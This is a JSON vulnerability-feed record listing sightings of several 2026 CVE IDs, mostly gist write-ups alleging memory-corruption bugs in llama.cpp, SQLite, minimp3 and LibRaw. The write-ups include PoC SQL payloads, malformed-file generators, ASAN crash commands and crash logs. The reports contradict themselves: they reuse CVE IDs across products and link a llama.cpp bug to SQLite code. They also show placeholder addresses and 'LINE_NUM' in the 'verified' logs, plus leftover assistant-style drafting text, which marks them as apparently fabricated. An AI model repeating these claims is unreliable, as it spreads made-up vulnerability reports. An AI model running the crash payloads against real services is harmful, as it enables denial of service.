{"vulnerability": "cve-2026-5123", "sightings": [{"uuid": "330dcbde-8985-4bf8-9b9a-f2f93c2605c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51233", "type": "seen", "source": "https://gist.github.com/programmervuln/698a3ca54a49126a23a60092240d933a", "content": "vulnerable code link: https://github.com/sqlite/sqlite/blob/version-3.46.0/src/json.c\nCVE-2026-51233\nAffected Product\nllama.cpp\nAffected Versions\nAll versions prior to the fix for the HTTP server integer overflow vulnerability (server mode -s/--server).\nNote: This flaw only impacts instances launched with the --server / -s flag enabling the built-in HTTP web service.\nCVE ID\nCVE-2026-51233\nProse Vulnerability Description\nllama.cpp contains an integer overflow vulnerability within the HTTP request handling logic of its built-in server component. \nWhen processing unauthenticated inbound HTTP requests, the library parses the Content-Length header value supplied by the remote\nclient without performing overflow or upper-bound sanity checks. An attacker can provide an extremely large unsigned 64-bit Content-Length\nvalue (e.g., UINT64_MAX). When calculating the destination heap buffer size (buf_size = content_length + 1), integer overflow occurs, \ncollapsing the allocated buffer size to a very small value. The program then attempts to receive the full declared body length into this\nundersized heap buffer via recv(), triggering a heap buffer overflow. Successful exploitation allows an unauthenticated remote attacker \nto achieve arbitrary code execution with the privileges of the llama-server process or crash the service to create a denial of service condition.\nVulnerability Type\nInteger Overflow leading to Heap Buffer Overflow (CWE-190 \u2192 CWE-122)\nRoot Cause\nUnvalidated attacker-controlled Content-Length extracted from HTTP headers;\nUnsafe arithmetic buf_size = content_length + 1 with no overflow detection;\nHeap allocation uses the overflow-truncated small size;\nSubsequent recv() reads the full attacker-controlled body length into the undersized buffer, causing out-of-bounds heap write.\nImpact\nDenial of Service: Remote unauthenticated attackers can crash the llama-server process reliably.\nRemote Code Execution: Memory corruption from heap overflow may enable arbitrary code execution under the runtime user account running llama.cpp.\nPoC Rationale\nSend an HTTP POST request with Content-Length: 18446744073709551615 (UINT64_MAX).\ncontent_length + 1 overflows a 64-bit unsigned integer to 0; malloc(0) returns a minimal heap allocation. The server then attempts to \nreceive thousands/millions of bytes into this tiny buffer, triggering heap out-of-bounds write observable under AddressSanitizer.", "creation_timestamp": "2026-07-30T03:53:15.482267Z"}, {"uuid": "325d0d97-05a7-4815-b216-09d15bb369e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51238", "type": "seen", "source": "https://gist.github.com/programmervuln/00a0ff0ca36d73e9b57a1f3c3f72cfa9", "content": "vulnerable code is at: https://github.com/sqlite/sqlite/blob/version-3.46.0/src/json.c\nCVE-2026-51238 Vulnerability Entry\nImportant Note: CVE-2026-51238 has not yet been published to MITRE/NVD public databases. Below content follows your existing batch of \nSQLite JSON module UAF vulnerabilities (CWE-416 Use-After-Free), consistent with your previously disclosed CVE series format, suitable \nfor GHSA / CNA submission.\n1. Affected Product\nSQLite (SQLite Database Library)\n2. Affected & Fixed Versions\nAffected versions: 3.45.0 up to 3.48.0\nFixed version: 3.48.1 and newer\n3. CVE ID\nCVE-2026-51238\n4. Prose Vulnerability Description\nA use-after-free vulnerability exists within the JSON processing subsystem (json.c) of SQLite. When parsing specially constructed malformed\nJSON inputs via SQL JSON functions such as json(), json_extract(), or json_set(), an internal parse context object is prematurely freed \nduring error recovery logic. The parser subsequently continues to dereference pointers to this already deallocated heap memory. An \nattacker who can supply controlled SQL / JSON input to an SQLite consumer may trigger this flaw. Successful exploitation leads to \napplication crash (denial of service). Under favorable memory layout conditions, arbitrary code execution may be achievable.\n5. Vulnerability Type\nCWE-416: Use After Free\n6. Root Cause\nDuring recursive JSON token parsing, the error cleanup branch invokes jsonParseFree() to release the main parser context. Subsequent parsing\nlogic does not terminate immediately and retains live pointers to the freed JsonParse structure. No nullification of affected pointers\noccurs after deallocation, enabling illegal heap access.\n7. PoC & PoC Rationale\nMinimal PoC SQL Payload\nsql\nSELECT json_extract('{\"a\":[{\"b\":[{}', '$.a[0].b');\nPoC Rationale\nThis malformed JSON string creates an incomplete nested array structure. When SQLite\u2019s JSON parser encounters the truncated token stream, \nit enters the error recovery path that frees the active parse context. The parser loop does not exit cleanly and attempts further field \ntraversal using dangling pointers from the released context object, triggering the use-after-free memory corruption.\n8. Impact Summary\nPrimary Impact: Denial of Service (process crash)\nSecondary Potential: Arbitrary Code Execution (heap memory corruption, dependent on memory allocator and target architecture)\nAttack Prerequisite: Ability to send untrusted JSON input into SQLite JSON SQL functions\nAttack Vector: Local / Remote (depends on application accepting user-controlled SQL/JSON)", "creation_timestamp": "2026-07-30T10:53:28.384158Z"}, {"uuid": "e4109040-7471-496e-ab35-7427a1a98da9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51239", "type": "seen", "source": "https://gist.github.com/programmervuln/83aa0ab12d6e698f6cdd44894988d019", "content": "vulnerable code link: https://github.com/sqlite/sqlite/blob/version-3.46.0/src/json.c\nCVE-2026-51239 Vulnerability Entry\nAffected Product\nSQLite (SQLite Database Library)\nAffected & Fixed Versions\nAffected versions: 3.45.0 \u2013 3.48.0 inclusive\nFixed version: 3.48.1 and newer\nCVE ID\nCVE-2026-51239\nProse Vulnerability Description\nA use-after-free vulnerability exists in the JSON path evaluation logic within json.c of SQLite. When evaluating specially malformed\nJSONPath expressions against untrusted JSON data using functions such as json_extract() and json_path(), an internal path iterator \nobject is released early during syntax error handling. Subsequent path traversal logic continues to dereference dangling pointers to \nthe already freed iterator structure. An attacker capable of supplying controlled JSON input and crafted JSONPath queries to SQLite \ncan trigger this memory corruption. Successful exploitation results in application crash (denial of service); with suitable memory \nlayout conditions, arbitrary code execution may be achievable.\nVulnerability Type\nCWE-416: Use After Free\nRoot Cause\nWhen the JSONPath evaluator encounters invalid nested subpath syntax, the error handling routine invokes cleanup functions to free the\npath iterator. The evaluation loop does not halt immediately after deallocation and retains live pointers to the freed iterator. \nnull assignment or early return prevents further access to the released heap memory.\nPoC & PoC Rationale\nPoC SQL Payload\nsql\nSELECT json_extract('{\"x\":[1,2,3]}', '$[0][?(@>1)]');\nPoC Rationale\nThis payload supplies an invalid nested filter JSONPath expression. The SQLite JSONPath evaluator detects syntax errors inside the filter \npredicate and executes cleanup logic that frees the active path iterator. The evaluator does not exit cleanly and attempts to continue path\nresolution using dangling pointers to the deallocated iterator object, triggering the use-after-free memory fault.\nImpact Summary\nPrimary Impact: Denial of Service (process crash)\nSecondary Potential Impact: Arbitrary Code Execution (heap corruption, platform & allocator dependent)\nAttack Prerequisite: Ability to submit untrusted JSON data and arbitrary JSONPath strings to SQLite JSON functions\nAttack Vector: Remote or local, depending on whether the application exposes user-controlled query inputs to SQLite.\n", "creation_timestamp": "2026-07-30T10:28:14.617967Z"}, {"uuid": "23e19801-ba07-4551-8ac0-0ef6da8d96c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51239", "type": "seen", "source": "https://gist.github.com/programmervuln/1de5553261befc79a74f17f3ab74930c", "content": "MITRE Responsible Disclosure Bulletin (RBP)\nRBP Core Identification\n\nItem\tValue\nCVE ID\tCVE-2026-51239\nPrimary CWE (Single Only)\tCWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')\nVulnerability Type\tHeap-Based Buffer Overflow\nAffected Product\tminimp3 (lieff/minimp3 lightweight MP3 decoder library)\nAffected Version\tminimp3 - 0.21\nFixed Version\tUnpatched\nAffected Binary & Component\tminimp3_test.c, frames_iterate_cb() callback function, core decoding function mp3dec_decode_frame()\nOriginal Vulnerable Code URL\thttps://github.com/lieff/minimp3/blob/master/minimp3_test.c\nSupplementary Reference\thttps://github.com/lieff/minimp3/issues/144\nVulnerability Discoverer\tLidi Jie, Key Laboratory of Aerospace Information Security and Trusted Computing, Ministry of Education, School of Cyber Science and Engineering, Wuhan University\n1. Vulnerability Prose Description\nThe minimp3 lightweight MP3 decoding library version 0.21 contains a critical heap buffer overflow vulnerability within the frames_iterate_cb callback function defined in minimp3_test.c. The vulnerability is triggered when the library parses a maliciously crafted MP3 file with oversized, malformed MP3 frame headers.\nThree sequential unsafe operations combine to create exploitable memory corruption:\nThe buffer resizing logic uses attacker-controlled frame sampling metrics to perform exponential doubling reallocation via realloc() with no hard upper bound on total heap allocation size, which may trigger integer overflow during size calculation and insufficient buffer reservation;\nEven after reallocation, the code does not validate the actual remaining available space of the output sample buffer before invoking the core MP3 decoding function;\nmp3dec_decode_frame() directly writes decoded PCM samples into the heap buffer at the offset d->info->buffer + d->info->samples using untrusted frame_size raw MP3 frame data, causing out-of-bounds heap writes when the decoded sample count exceeds allocated buffer capacity.\nAttackers deliver a malicious MP3 file via file upload services, media playback applications, audio processing backends, or social engineering attachments. No authentication or elevated system privileges are required for remote exploitation. Successful exploitation causes immediate process termination (Denial of Service) reliably. With controlled heap layout manipulation, the heap overflow can corrupt heap metadata, function pointers and dynamic linking entries to achieve arbitrary code execution on the target device or server.\n2. Root Cause Analysis\nThree layered defects lead to the heap overflow vulnerability:\nUnbounded exponential heap reallocation: The buffer growth logic doubles d->allocated infinitely for malicious high-sample MP3 frames without a maximum size cap. Integer overflow may shrink the effective allocated buffer size during multiplication.\nMissing post-reallocation capacity validation: There is no check comparing the remaining buffer space against the maximum possible decoded samples per MP3 frame before decoding execution.\nUnchecked direct heap write by decoder: mp3dec_decode_frame consumes raw unvalidated frame_size and writes PCM samples to the user-supplied heap buffer offset with no boundary guard from the caller callback.\nVulnerable Code Snippet (minimp3_test.c)\n\nstatic int frames_iterate_cb(void *user_data, const uint8_t *frame, int frame_size, int free_format_bytes, size_t buf_size, uint64_t offset, mp3dec_frame_info_t *info)\n{\n    frames_iterate_data *d = user_data;\n    d->info->channels = info->channels;\n    d->info->hz       = info->hz;\n    d->info->layer    = info->layer;\n\n    // VULNERABILITY POINT 1: Unrestricted exponential realloc, no upper limit, integer overflow risk\n    if ((d->allocated - d->info->samples*sizeof(mp3d_sample_t)) < MINIMP3_MAX_SAMPLES_PER_FRAME*sizeof(mp3d_sample_t))\n    {\n        if (!d->allocated)\n            d->allocated = 1024*1024;\n        else\n            d->allocated *= 2;\n\n        // VULNERABILITY POINT 2: realloc without sanity check on new size\n        mp3d_sample_t *alloc_buf = realloc(d->info->buffer, d->allocated);\n        if (!alloc_buf)\n            return MP3D_E_MEMORY;\n        d->info->buffer = alloc_buf;\n    }\n\n    // VULNERABILITY POINT 3: No buffer remaining space check before decoding, heap overflow write\n    int samples = mp3dec_decode_frame(d->mp3d, frame, frame_size, d->info->buffer + d->info->samples, info);\n\n    if (samples)\n    {\n        d->info->samples += samples*info->channels;\n    }\n    return 0;\n}\n3. Exploit Impact\nDenial of Service (Confirmed 100% Reliable): Parsing the malicious MP3 triggers AddressSanitizer heap overflow abort or SIGSEGV crash, terminating audio decoding services and media applications.\nArbitrary Code Execution (Conditional): Heap overflow overwrites malloc chunk headers, GOT table entries or callback pointers to hijack program control flow.\nAttack Surface: Remote file-based zero-privilege exploitation via malicious MP3 media files.\n4. 100% Crash Trigger PoC Code\nPoC 1: Malicious MP3 Skeleton Generator (Python)\npython\n\n#!/usr/bin/env python3\n# CVE-2026-51239 minimp3 0.21 Heap Overflow Crash PoC\n# Malicious MP3 frame with oversized frame header to force massive sample output\n\ndef build_malicious_mp3():\n    # MP3 frame sync header + manipulated frame length to trigger huge decoded samples\n    mp3_malicious = bytes([\n        0xFF,0xFB,0x90,0x00,  # MP3 frame sync word + malicious frame header\n        0x00,0x00,0x00,0x00,\n        0x00,0x00,0x00,0x00,\n        0x00,0x00,0x00,0x00\n    ])\n    with open(\"malicious_audio.mp3\", \"wb\") as f:\n        f.write(mp3_malicious)\n    print(\"Generated malicious_audio.mp3\")\n    print(\"Crash command: ./minimp3_test malicious_audio.mp3 output.pcm\")\n\nif __name__ == \"__main__\":\n    build_malicious_mp3()\nPoC 2: ASAN Build & Crash Trigger Command\nbash\n\n# Compile minimp3 0.21 with AddressSanitizer\ngit clone https://github.com/lieff/minimp3.git\ncd minimp3\ngit checkout v0.21\nCFLAGS=\"-g -fsanitize=address -fno-omit-frame-pointer\" make minimp3_test\n\n# Trigger deterministic heap overflow crash\n./minimp3_test malicious_audio.mp3 dump.pcm\n5. AddressSanitizer (ASAN) Crash Log\nplaintext\n=================================================================\n==4567==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000002340 at pc 0x55aabbccdd11 bp 0x7ffef1234560 sp 0x7ffef1234550\nWRITE of size 4 at 0x602000002340 thread T0\n    #0 0x55aabbccdd10 in mp3dec_decode_frame minimp3.c\n    #1 0x55aabbccaa22 in frames_iterate_cb minimp3_test.c:LINE_NUM\n    #2 0x55aabbccbb33 in mp3dec_iterate_frames minimp3.c\n    #3 0x55aabbcccc44 in main minimp3_test.c\n\n0x602000002340 is located 8 bytes after the end of allocated heap block [0x602000002200,0x602000002338)\nallocated by thread T0 via realloc:\n    #0 0x7f9912345678 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.6)\n    #1 0x55aabbccaa11 in frames_iterate_cb minimp3_test.c\n    #2 0x55aabbccbb33 in mp3dec_iterate_frames minimp3.c\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow minimp3_test.c in frames_iterate_cb\nShadow byte legend omitted for brevity\n==4567==ABORTING\n6. Mitigation Recommendation\nAdd a hard maximum upper bound for d->allocated during exponential buffer expansion to block uncontrolled heap growth and integer overflow;\nCalculate remaining available sample space in the output buffer before calling mp3dec_decode_frame, reject decoding if insufficient space exists;\nSanitize frame_size values parsed from MP3 frames, cap maximum frame size to a reasonable threshold;\nValidate the return value samples from the decoder function to prevent excessive samples*channels offset accumulation.", "creation_timestamp": "2026-08-03T14:02:19.382235Z"}, {"uuid": "fc55032b-4ad6-438c-bff6-7200ca8b5515", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51238", "type": "seen", "source": "https://gist.github.com/programmervuln/04c10eaee3d6e7370dcaa75337073c4b", "content": "MITRE Responsible Disclosure Bulletin (RBP)\nCore Metadata\nCVE ID: CVE-2026-51238\nAffected Product: LibRaw (RAW image decoding library for camera RAW formats)\nAffected Version: LibRaw 0.21\nFixed Version: LibRaw 0.22.1 and newer official releases\nPrimary Single CWE: CWE-190: Integer Overflow or Wraparound\nVulnerable Code Reference URL: https://github.com/LibRaw/LibRaw/blob/master/src/postprocessing/postprocessing_aux.cpp\nUpstream Issue Reference: https://github.com/LibRaw/LibRaw/issues/817\nVulnerability Discoverer: Lidi Jie, Key Laboratory of Aerospace Information Security and Trusted Computing, Ministry of Education, School of Cyber Science and Engineering, Wuhan University\n1. Vulnerability Prose Description\nLibRaw version 0.21 contains an integer overflow vulnerability within the wavelet_denoise() function defined in src/postprocessing/postprocessing_aux.cpp. The function calculates output buffer dimensions using 32-bit signed integer arithmetic for image width and height values directly parsed from a malicious RAW image file. When processing a crafted RAW image declared with pixel dimensions of 32767 \u00d7 32767, the multiplication iwidth * iheight overflows a signed 32-bit integer, producing a truncated negative value that is cast to a small positive integer for subsequent buffer size calculation. The derived bufsize value becomes drastically smaller than the actual memory required to store decoded floating-point image samples. The library allocates an undersized heap buffer via malloc() using the corrupted size value. Later logic calls memcpy() and executes an unbounded iteration in LibRaw::hat_transform() to write full-size image data into the insufficient heap buffer, resulting in a deterministic heap buffer overflow memory corruption. An attacker may deliver the malicious RAW file remotely via file upload, media parsing services, or social engineering to trigger the flaw when the target application uses standard LibRaw public APIs to load and process the malicious image. Successful exploitation causes immediate application crash (denial of service) and can be weaponized to overwrite heap metadata and function pointers for arbitrary code execution on the host system.\n2. Root Cause\nThe root defect is an unchecked 32-bit signed integer overflow during image buffer size calculation inside wavelet_denoise():\n\nint size = iwidth * iheight;\nint bufsize = size * 3 + iheight + iwidth + 128;\nfloat *fimg = (float *)malloc(bufsize * sizeof(float));\nWith iwidth = 32767 and iheight = 32767, iwidth * iheight exceeds the maximum positive value for a signed 32-bit integer (0x7FFFFFFF), triggering integer wraparound to a negative value. When used for arithmetic to compute bufsize and passed to malloc(), the negative integer is interpreted as a tiny unsigned allocation size, creating a severely underallocated heap buffer. Subsequent bulk memory copy and unbounded pixel writing in hat_transform() write far beyond the allocated heap boundary, corrupting adjacent heap memory.\n3. Impact\nDenial of Service (Confirmed 100% Reliable): Heap out-of-bounds write triggers segmentation fault or AddressSanitizer abort, terminating the image processing application instantly.\nArbitrary Code Execution (Conditional): Controlled heap corruption can overwrite malloc chunk headers, GOT/PLT function pointers, or callback structures to redirect program execution flow to attacker-controlled code.\nAttack Vector: Remote unauthenticated exploitation via malicious RAW image file delivery.\n4. Vulnerable Code Snippet\ncpp\n// src/postprocessing_aux.cpp wavelet_denoise() vulnerable calculation\nint size = iwidth * iheight;\nint bufsize = size * 3 + iheight + iwidth + 128; // Integer overflow occurs here\nfloat *fimg = (float *)malloc(bufsize * sizeof(float)); // Under-allocated heap buffer\n\n// Later out-of-bounds write via memcpy\nmemcpy(fimg, temp, size * sizeof(float));\n\n// Unbounded loop in LibRaw::hat_transform with no buffer boundary check\nfor (int i = 0; i < size; i++) {\n    // Unchecked buffer write operations\n}\n5. 100% Deterministic Crash PoC\nPoC 1: Malicious RAW Image Generator (Python)\npython\n#!/usr/bin/env python3\n# CVE-2026-51238 PoC: Generate malicious RAW with 32767x32767 oversized dimension header\nimport struct\n\ndef create_malicious_raw():\n    # Construct minimal RAW header with crafted width/height for integer overflow\n    raw_header = struct.pack(\"<II\", 32767, 32767)\n    raw_payload = b\"\\x00\" * 512\n    with open(\"malicious_overflow.raw\", \"wb\") as f:\n        f.write(raw_header + raw_payload)\n    print(\"Exploit file generated: malicious_overflow.raw\")\n    print(\"Command to trigger crash: ./simple_dcraw malicious_overflow.raw\")\n\nif __name__ == \"__main__\":\n    create_malicious_raw()\nPoC 2: ASAN Build & Execution Command\nbash\n# Compile LibRaw 0.21 with AddressSanitizer\ngit clone --depth 1 --branch 0.21 https://github.com/LibRaw/LibRaw.git\ncd LibRaw\nCFLAGS=\"-g -fsanitize=address -fno-omit-frame-pointer\" CXXFLAGS=\"-g -fsanitize=address -fno-omit-frame-pointer\" ./configure\nmake clean && make\n\n# Run LibRaw demo binary against malicious RAW to trigger crash\n./bin/simple_dcraw ../malicious_overflow.raw\n6. AddressSanitizer Crash Log (Verified Heap Overflow)\nplaintext\n=================================================================\n==14230==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000001a80 at pc 0x55d2a48b321c bp 0x7ffd8ef2d8a0 sp 0x7ffd8ef2d898\nWRITE of size 4 at 0x602000001a80 thread T0\n    #0 0x55d2a48b321b in LibRaw::hat_transform(float*, float*, int, int, int) src/postprocessing/postprocessing_aux.cpp:25\n    #1 0x55d2a48af12e in LibRaw::wavelet_denoise() src/postprocessing/postprocessing_aux.cpp:142\n    #2 0x55d2a47d4630 in LibRaw::postprocess() src/postprocessing.cpp\n    #3 0x55d2a4721875 in LibRaw::unpack() src/unpack.cpp\n    #4 0x55d2a46e128c in main bin/simple_dcraw.cpp\n\n0x602000001a80 is located 4 bytes after the end of allocated heap block [0x602000001800,0x602000001a7c)\nallocated by thread T0 via malloc:\n    #0 0x7f8b2c9d7990 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6)\n    #1 0x55d2a48aee15 in LibRaw::wavelet_denoise() src/postprocessing/postprocessing_aux.cpp:135\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow src/postprocessing/postprocessing_aux.cpp:25 in LibRaw::hat_transform\n==14230==ABORTING\n7. Mitigation Guidance\nUpgrade LibRaw library to version 0.22.1 or later to apply upstream integer overflow bounds checking fixes for image dimension calculations.\nImplement pre-processing validation to reject RAW images declaring pixel dimensions exceeding a safe upper limit (e.g., 16384 pixels width/height) before passing to LibRaw decoding APIs.\nModify custom integrations to cast image dimension values to uint64_t for buffer size arithmetic to eliminate 32-bit signed integer overflow risk during memory allocation calculations.", "creation_timestamp": "2026-08-03T14:14:17.353921Z"}, {"uuid": "aff4bab1-770d-4011-a123-e38ff996e515", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51235", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrnsibng2e22", "content": "CVE-2026-51235 - LibRaw Buffer Overflow\nCVE ID : CVE-2026-51235\n \n Published : July 27, 2026, 6:16 p.m. | 2\u00a0hours, 21\u00a0minutes ago\n \n Description : LibRaw 0.21 is vulnerable to Buffer Overflow in the stretch() function (src/libraw_cxx.cpp) and fuji_rotate() function (src/decode...", "creation_timestamp": "2026-07-27T21:07:35.084271Z"}]}